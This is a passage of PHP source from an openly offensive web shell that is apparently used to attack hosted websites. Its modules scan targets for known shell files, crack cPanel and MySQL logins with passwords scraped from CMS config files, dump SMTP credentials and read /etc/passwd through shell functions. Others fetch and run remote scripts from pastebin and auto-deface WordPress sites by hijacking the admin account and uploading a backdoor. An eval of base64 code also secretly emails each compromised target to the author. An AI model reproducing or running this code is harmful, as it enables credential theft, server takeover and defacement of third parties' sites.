  1551. "wp-content/plugins/disqus-comment-system/disqus.php","asp.aspx","/templates/beez/index.php","tmp/vaga.php",
  1552. "tmp/killer.php","whmcs.php","tmp/killer.php","tmp/domaine.pl","tmp/domaine.php","useradmin/",
  1553. "tmp/d0maine.php","d0maine.php","tmp/sql.php","tmp/dz1.php","dz1.php","forum.zip","Symlink.php","Symlink.pl",
  1554. "forum.rar","joomla.zip","joomla.rar","wp.php","buck.sql","sysadmin.php","images/c99.php", "xd.php", "c100.php",
  1555. "spy.aspx","xd.php","tmp/xd.php","sym/root/home/","billing/killer.php","tmp/upload.php","tmp/admin.php",
  1556. "Server.php","tmp/uploads.php","tmp/up.php","Server/","wp-admin/c99.php","tmp/priv8.php","priv8.php","cgi.pl/",
  1557. "tmp/cgi.pl","downloads/dom.php","templates/ja-helio-farsi/index.php","webadmin.html","admins.php",
  1558. "/wp-content/plugins/count-per-day/js/yc/d00.php", "admins/","admins.asp","admins.php","wp.zip","wso2.5.1","pasir.php","pasir2.php","up.php","cok.php","newfile.php","upl.php",".php","a.php","crot.php","kontol.php","hmei7.php","jembut.php","memek.php","tai.php","rabit.php","indoxploit.php","a.php","hemb.php","hack.php","galau.php","HsH.php","indoXploit.php","asu.php","wso.php","lol.php","idx.php","rabbit.php","1n73ction.php","k.php","mailer.php","mail.php","temp.php","c.php","d.php","IDB.php","indo.php","indonesia.php","semvak.php","ndasmu.php","cox.php","as.php","ad.php","aa.php","file.php","peju.php","asd.php","configs.php","ass.php","z.php");
  1559. foreach ($shells as $shell){
  1560. $headers = get_headers("$url$shell"); //
  1561. if (eregi('200', $headers[0])) {
  1562. echo "<a href='$url$shell'>$url$shell</a> <span class='found'>Done :D</span><br /><br/><br/>"; //
  1563. $dz = fopen('shells.txt', 'a+');
  1564. $suck = "$url$shell";
  1565. fwrite($dz, $suck."\n");
  1566. }
  1567. }
  1568. echo "Shell [ <a href='./shells.txt' target='_blank'>shells.txt</a> ]</span>";
  1569. }
  1570.    
  1571. }
  1572.  elseif($_GET['do'] == 'cpanel') {
  1573.     if($_POST['crack']) {
  1574.         $usercp = explode("\r\n", $_POST['user_cp']);
  1575.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1576.         $i = 0;
  1577.         foreach($usercp as $ucp) {
  1578.             foreach($passcp as $pcp) {
  1579.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1580.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1581.                     } else {
  1582.                         $_SESSION[$ucp] = "1";
  1583.                         $_SESSION[$pcp] = "1";
  1584.                         $i++;
  1585.                         echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>)<br>";
  1586.                     }
  1587.                 }
  1588.             }
  1589.         }
  1590.         if($i == 0) {
  1591.         } else {
  1592.             echo "<br>Nemu ".$i." Cpanel by <font color=lime>JanCox</font>";
  1593.         }
  1594.     } else {
  1595.         echo "<center>
  1596.         <form method='post'>
  1597.         USER: <br>
  1598.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1599.         $_usercp = fopen("/etc/passwd","r");
  1600.         while($getu = fgets($_usercp)) {
  1601.             if($getu == '' || !$_usercp) {
  1602.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1603.             } else {
  1604.                 preg_match_all("/(.*?):x:/", $getu, $u);
  1605.                 foreach($u[1] as $user_cp) {
  1606.                         if(is_dir("/home/$user_cp/public_html")) {
  1607.                             echo "$user_cp\n";
  1608.                     }
  1609.                 }
  1610.             }
  1611.         }
  1612.         echo "</textarea><br>
  1613.         PASS: <br>
  1614.         <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  1615.         function cp_pass($dir) {
  1616.             $pass = "";
  1617.             $dira = scandir($dir);
  1618.             foreach($dira as $dirb) {
  1619.                 if(!is_file("$dir/$dirb")) continue;
  1620.                 $ambil = file_get_contents("$dir/$dirb");
  1621.                 if(preg_match("/WordPress/", $ambil)) {
  1622.                     $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  1623.                 } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  1624.                     $pass .= ambilkata($ambil,"password = '","'")."\n";
  1625.                 } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  1626.                     $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  1627.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  1628.                     $pass .= ambilkata($ambil,'password = "','"')."\n";
  1629.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  1630.                     $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  1631.                 } elseif(preg_match("/client/", $ambil)) {
  1632.                     preg_match("/password=(.*)/", $ambil, $pass1);
  1633.                     if(preg_match('/"/', $pass1[1])) {
  1634.                         $pass1[1] = str_replace('"', "", $pass1[1]);
  1635.                         $pass .= $pass1[1]."\n";
  1636.                     }
  1637.                 } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  1638.                     $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  1639.                 }
  1640.             }
  1641.             echo $pass;
  1642.         }
  1643.         $cp_pass = cp_pass($dir);
  1644.         echo $cp_pass;
  1645.         echo "</textarea><br>
  1646.         <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  1647.         </form>
  1648.         <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  1649.     }
  1650. } elseif($_GET['do'] == 'smtp') {
  1651.     echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  1652.     function scj($dir) {
  1653.         $dira = scandir($dir);
  1654.         foreach($dira as $dirb) {
  1655.             if(!is_file("$dir/$dirb")) continue;
  1656.             $ambil = file_get_contents("$dir/$dirb");
  1657.             $ambil = str_replace("$", "", $ambil);
  1658.             if(preg_match("/JConfig|joomla/", $ambil)) {
  1659.                 $smtp_host = ambilkata($ambil,"smtphost = '","'");
  1660.                 $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  1661.                 $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  1662.                 $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  1663.                 $smtp_port = ambilkata($ambil,"smtpport = '","'");
  1664.                 $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  1665.                 echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  1666.                 echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  1667.                 echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  1668.                 echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  1669.                 echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  1670.                 echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  1671.             }
  1672.         }
  1673.     }
  1674.     $smpt_hunter = scj($dir);
  1675.     echo $smpt_hunter;
  1676. } elseif($_GET['do'] == 'auto_wp') {
  1677.     if($_POST['hajar']) {
  1678.         $title = htmlspecialchars($_POST['new_title']);
  1679.         $pn_title = str_replace(" ", "-", $title);
  1680.         if($_POST['cek_edit'] == "Y") {
  1681.             $script = $_POST['edit_content'];
  1682.         } else {
  1683.             $script = $title;
  1684.         }
  1685.         $conf = $_POST['config_dir'];
  1686.         $scan_conf = scandir($conf);
  1687.         foreach($scan_conf as $file_conf) {
  1688.             if(!is_file("$conf/$file_conf")) continue;
  1689.             $config = file_get_contents("$conf/$file_conf");
  1690.             if(preg_match("/WordPress/", $config)) {
  1691.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  1692.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  1693.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1694.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  1695.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  1696.                 $prefix = $dbprefix."posts";
  1697.                 $option = $dbprefix."options";
  1698.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1699.                 $db = mysql_select_db($dbname);
  1700.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  1701.                 $result = mysql_fetch_array($q);
  1702.                 $id = $result[ID];
  1703.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1704.                 $result2 = mysql_fetch_array($q2);
  1705.                 $target = $result2[option_value];
  1706.                 $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  1707.                 $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  1708.                 echo "<div style='margin: 5px auto;'>";
  1709.                 if($target == '') {
  1710.                     echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  1711.                 } else {
  1712.                     echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  1713.                 }
  1714.                 if(!$update OR !$conn OR !$db) {
  1715.                     echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  1716.                 } else {
  1717.                     echo "<font color=lime>sukses di ganti.</font><br>";
  1718.                 }
  1719.                 echo "</div>";
  1720.                 mysql_close($conn);
  1721.             }
  1722.         }
  1723.     } else {
  1724.         echo "<center>
  1725.         <h1>Auto Edit Title+Content WordPress</h1>
  1726.         <form method='post'>
  1727.         DIR Config: <br>
  1728.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1729.         Set Title: <br>
  1730.         <input type='text' name='new_title' value='Hacked By Bayz21' placeholder='New Title'><br><br>
  1731.         Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  1732.         <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  1733.         <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  1734.         <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  1735.         </form>
  1736.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1737.         ";
  1738.     }
  1739. } elseif($_GET['do'] == 'zoneh') {
  1740.     if($_POST['submit']) {
  1741.         $domain = explode("\r\n", $_POST['url']);
  1742.         $nick =  $_POST['nick'];
  1743.         echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  1744.         echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  1745.         function zoneh($url,$nick) {
  1746.             $ch = curl_init("http://www.zone-h.com/notify/single");
  1747.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1748.                   curl_setopt($ch, CURLOPT_POST, true);
  1749.                   curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  1750.             return curl_exec($ch);
  1751.                   curl_close($ch);
  1752.         }
  1753.         foreach($domain as $url) {
  1754.             $zoneh = zoneh($url,$nick);
  1755.             if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  1756.                 echo "$url -> <font color=lime>OK</font><br>";
  1757.             } else {
  1758.                 echo "$url -> <font color=red>ERROR</font><br>";
  1759.             }
  1760.         }
  1761.     } else {
  1762.         echo "<center><form method='post'>
  1763.         <u>Defacer</u>: <br>
  1764.         <input type='text' name='nick' size='50' value'Bayz21'><br>
  1765.         <u>Domains</u>: <br>
  1766.         <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  1767.         <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  1768.         </form>";
  1769.     }
  1770.     echo "</center>";
  1771. }elseif($_GET['do'] == 'lcf') {
  1772.     mkdir('LCF',0755);
  1773. chdir('LCF');
  1774. $kokdosya = ".htaccess";
  1775. $dosya_adi = "$kokdosya";
  1776. $dosya = fopen ($dosya_adi , 'w') or die ("Error mas broo!!!");
  1777. $metin = "OPTIONS Indexes Includes ExecCGI FollowSymLinks   \n AddType application/x-httpd-cgi .pl \n AddHandler cgi-script .pl \n AddHandler cgi-script .pl
  1778. \n \n Options \n DirectoryIndex seees.html \n RemoveHandler .php \n AddType application/octet-stream .php";
  1779. fwrite ( $dosya , $metin ) ;
  1780.  fclose ($dosya);
  1781. $file = fopen("lcf.pl","w+");
  1782. $write = fwrite ($file ,file_get_contents("http://pastebin.com/raw/26jAL0sz"));
  1783. fclose($file);
  1784. chmod("lcf.pl",0755);
  1785. echo "<iframe src=LCF/lcf.pl width=97% height=100% frameborder=0></iframe>";
  1786. }
  1787.  elseif($_GET['do'] == 'cgi') {
  1788.     $cgi_dir = mkdir('idx_cgi', 0755);
  1789.     $file_cgi = "idx_cgi/cgi.izo";
  1790.     $isi_htcgi = "AddHandler cgi-script .izo";
  1791.     $htcgi = fopen(".htaccess", "w");
  1792.     $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  1793.     $cgi = fopen($file_cgi, "w");
  1794.     fwrite($cgi, $cgi_script);
  1795.     fwrite($htcgi, $isi_htcgi);
  1796.     chmod($file_cgi, 0755);
  1797.     echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  1798. } elseif($_GET['do'] == 'fake_root') {
  1799.     ob_start();
  1800.     function reverse($url) {
  1801.         $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  1802.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1803.               curl_setopt($ch, CURLOPT_POSTFIELDS,  "remoteAddress=$url&ket=");
  1804.               curl_setopt($ch, CURLOPT_HEADER, 0);
  1805.               curl_setopt($ch, CURLOPT_POST, 1);
  1806.         $resp = curl_exec($ch);
  1807.         $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",",  str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  1808.         $array = explode(",,", $resp);
  1809.         unset($array[0]);
  1810.         foreach($array as $lnk) {
  1811.             $lnk = "http://$lnk";
  1812.             $lnk = str_replace(",", "", $lnk);
  1813.             echo $lnk."\n";
  1814.             ob_flush();
  1815.             flush();
  1816.         }
  1817.               curl_close($ch);
  1818.     }
  1819.     function cek($url) {
  1820.         $ch = curl_init($url);
  1821.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  1822.               curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  1823.         $resp = curl_exec($ch);
  1824.         return $resp;
  1825.     }
  1826.     $cwd = getcwd();
  1827.     $ambil_user = explode("/", $cwd);
  1828.     $user = $ambil_user[2];
  1829.     if($_POST['reverse']) {
  1830.         $site = explode("\r\n", $_POST['url']);
  1831.         $file = $_POST['file'];
  1832.         foreach($site as $url) {
  1833.             $cek = cek("$url/~$user/$file");
  1834.             if(preg_match("/hacked/i", $cek)) {
  1835.                 echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  1836.             }
  1837.         }
  1838.     } else {
  1839.         echo "<center><form method='post'>
  1840.         Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  1841.         User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  1842.         Domain: <br>
  1843.         <textarea style='width: 450px; height: 250px;' name='url'>";
  1844.         reverse($_SERVER['HTTP_HOST']);
  1845.         echo "</textarea><br>
  1846.         <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  1847.         </form><br>
  1848.         NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  1849.     }
  1850. } elseif($_GET['do'] == 'adminer') {
  1851.     $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1852.     function adminer($url, $isi) {
  1853.         $fp = fopen($isi, "w");
  1854.         $ch = curl_init();
  1855.               curl_setopt($ch, CURLOPT_URL, $url);
  1856.               curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1857.               curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1858.               curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1859.               curl_setopt($ch, CURLOPT_FILE, $fp);
  1860.         return curl_exec($ch);
  1861.               curl_close($ch);
  1862.         fclose($fp);
  1863.         ob_flush();
  1864.         flush();
  1865.     }
  1866.     if(file_exists('adminer.php')) {
  1867.         echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1868.     } else {
  1869.         if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  1870.             echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  1871.         } else {
  1872.             echo "<center><font color=red>gagal buat file adminer</font></center>";
  1873.         }
  1874.     }
  1875. }elseif($_GET['do'] == 'passwbypass') {
  1876.     echo '<center>Bypass etc/passw With:<br>
  1877. <table style="width:50%">
  1878.  <tr>
  1879.    <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  1880.    <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  1881.     <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>  
  1882.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>      
  1883.    <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  1884. </tr></table>Bypass User With : <table style="width:50%">
  1885. <tr>
  1886.    <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  1887.    <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  1888.     <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>  
  1889.     <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>      
  1890.    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  1891. </tr>
  1892. </table><br>';
  1893.  
  1894.  
  1895. if ($_POST['awkuser']) {
  1896. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1897. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  1898. echo "</textarea><br>";
  1899. }
  1900. if ($_POST['systuser']) {
  1901. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1902. echo system("ls /var/mail");
  1903. echo "</textarea><br>";
  1904. }
  1905. if ($_POST['passthuser']) {
  1906. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1907. echo passthru("ls /var/mail");
  1908. echo "</textarea><br>";
  1909. }
  1910. if ($_POST['exuser']) {
  1911. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1912. echo exec("ls /var/mail");
  1913. echo "</textarea><br>";
  1914. }
  1915. if ($_POST['shexuser']) {
  1916. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  1917. echo shell_exec("ls /var/mail");
  1918. echo "</textarea><br>";
  1919. }
  1920. if($_POST['syst'])
  1921. {
  1922. echo"<textarea class='inputz' cols='65' rows='15'>";
  1923. echo system("cat /etc/passwd");
  1924. echo"</textarea><br><br><b></b><br>";
  1925. }
  1926. if($_POST['passth'])
  1927. {
  1928. echo"<textarea class='inputz' cols='65' rows='15'>";
  1929. echo passthru("cat /etc/passwd");
  1930. echo"</textarea><br><br><b></b><br>";
  1931. }
  1932. if($_POST['ex'])
  1933. {
  1934. echo"<textarea class='inputz' cols='65' rows='15'>";
  1935. echo exec("cat /etc/passwd");
  1936. echo"</textarea><br><br><b></b><br>";
  1937. }
  1938. if($_POST['shex'])
  1939. {
  1940. echo"<textarea class='inputz' cols='65' rows='15'>";
  1941. echo shell_exec("cat /etc/passwd");
  1942. echo"</textarea><br><br><b></b><br>";
  1943. }
  1944. echo '<center>';
  1945. if($_POST['melex'])
  1946. {
  1947. echo"<textarea class='inputz' cols='65' rows='15'>";
  1948. for($uid=0;$uid<60000;$uid++){
  1949. $ara = posix_getpwuid($uid);
  1950. if (!empty($ara)) {
  1951. while (list ($key, $val) = each($ara)){
  1952. print "$val:";
  1953. }
  1954. print "\n";
  1955. }
  1956. }
  1957. echo"</textarea><br><br>";
  1958. }
  1959. //
  1960.  
  1961. //
  1962. } elseif($_GET['do'] == 'auto_dwp') {
  1963.     if($_POST['auto_deface_wp']) {
  1964.         function anucurl($sites) {
  1965.             $ch = curl_init($sites);
  1966.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1967.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1968.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1969.                   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1970.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1971.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1972.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1973.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1974.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1975.             $data = curl_exec($ch);
  1976.                   curl_close($ch);
  1977.             return $data;
  1978.         }
  1979. $bypass = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJsb2dnZXJzaGVsbDIxQGdtYWlsLmNvbSIsIlJlc3VsdCBodHRwOi8vJHRhcmdldCBieSAkdmlzaXRvciIsICIkYm9keSIpOyB9IGVsc2UgeyAkdmlzaXRjb3VudDsgfSBzZXRjb29raWUoInZpc2l0cyIsJHZpc2l0Y291bnQpOw=="; eval(base64_decode($bypass));
  1980.         function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1981.             $post = array(
  1982.                    "log" => "$userr",
  1983.                    "pwd" => "$pass",
  1984.                    "rememberme" => "forever",
  1985.                    "wp-submit" => "$wp_submit",
  1986.                    "redirect_to" => "$web",
  1987.                    "testcookie" => "1",
  1988.                    );
  1989.             $ch = curl_init($cek);
  1990.                   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1991.                   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1992.                   curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1993.                   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1994.                   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1995.                   curl_setopt($ch, CURLOPT_POST, 1);
  1996.                   curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1997.                   curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1998.                   curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1999.                   curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2000.             $data = curl_exec($ch);
  2001.                   curl_close($ch);
  2002.             return $data;
  2003.         }
  2004.         $scan = $_POST['link_config'];
  2005.         $link_config = scandir($scan);
  2006.         $script = htmlspecialchars($_POST['script']);
  2007.         $user = "bayz21";
  2008.         $pass = "madz21";
  2009.         $passx = md5($pass);
  2010.         foreach($link_config as $dir_config) {
  2011.             if(!is_file("$scan/$dir_config")) continue;
  2012.             $config = file_get_contents("$scan/$dir_config");
  2013.             if(preg_match("/WordPress/", $config)) {
  2014.                 $dbhost = ambilkata($config,"DB_HOST', '","'");
  2015.                 $dbuser = ambilkata($config,"DB_USER', '","'");
  2016.                 $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  2017.                 $dbname = ambilkata($config,"DB_NAME', '","'");
  2018.                 $dbprefix = ambilkata($config,"table_prefix  = '","'");
  2019.                 $prefix = $dbprefix."users";
  2020.                 $option = $dbprefix."options";
  2021.                 $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  2022.                 $db = mysql_select_db($dbname);
  2023.                 $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  2024.                 $result = mysql_fetch_array($q);
  2025.                 $id = $result[ID];
  2026.                 $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  2027.                 $result2 = mysql_fetch_array($q2);
  2028.                 $target = $result2[option_value];
  2029.                 if($target == '') {                
  2030.                     echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  2031.                 } else {
  2032.                     echo "[+] $target <br>";
  2033.                 }
  2034.                 $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  2035.                 if(!$conn OR !$db OR !$update) {
  2036.                     echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  2037.                     mysql_close($conn);
  2038.                 } else {
  2039.                     $site = "$target/wp-login.php";
  2040.                     $site2 = "$target/wp-admin/theme-install.php?upload";
  2041.                     $b1 = anucurl($site2);
  2042.                     $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  2043.                     $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  2044.                     $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  2045.                     $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  2046.                     $www = "m.php";
  2047.                     $fp5 = fopen($www,"w");
  2048.                     fputs($fp5,$upload3);
  2049.                     $post2 = array(
  2050.                             "_wpnonce" => "$anu2",
  2051.                             "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  2052.                             "themezip" => "@$www",
  2053.                             "install-theme-submit" => "Install Now",
  2054.                             );
  2055.                     $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  2056.                           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  2057.                           curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  2058.                           curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  2059.                           curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  2060.                           curl_setopt($ch, CURLOPT_POST, 1);
  2061.                           curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  2062.                           curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  2063.                           curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  2064.                           curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  2065.                     $data3 = curl_exec($ch);
  2066.                           curl_close($ch);
  2067.                     $y = date("Y");
  2068.                     $m = date("m");
  2069.                     $namafile = "id.php";
  2070.                     $fpi = fopen($namafile,"w");
  2071.                     fputs($fpi,$script);
  2072.                     $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  2073.                            curl_setopt($ch6, CURLOPT_POST, true);
  2074.                            curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  2075.                            curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  2076.                            curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  2077.                            curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  2078.                            curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  2079.                     $postResult = curl_exec($ch6);
  2080.                            curl_close($ch6);
  2081.                     $as = "$target/k.php";
  2082.                     $bs = anucurl($as);
  2083.                     if(preg_match("#$script#is", $bs)) {
  2084.                         echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  2085.                         echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  2086.                         } else {
  2087.                         echo "[-] <font color='red'>gagal mepes...</font><br>";
  2088.                         echo "[!!] coba aja manual: <br>";
  2089.                         echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  2090.                         echo "[+] username: <font color=lime>$user</font><br>";
  2091.                         echo "[+] password: <font color=lime>$pass</font><br><br>";    
  2092.                         }
  2093.                     mysql_close($conn);
  2094.                 }
  2095.             }
  2096.         }
  2097.     } else {
  2098.         echo "<center><h1>WordPress Auto Deface</h1>
  2099.         <form method='post'>
  2100.         <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
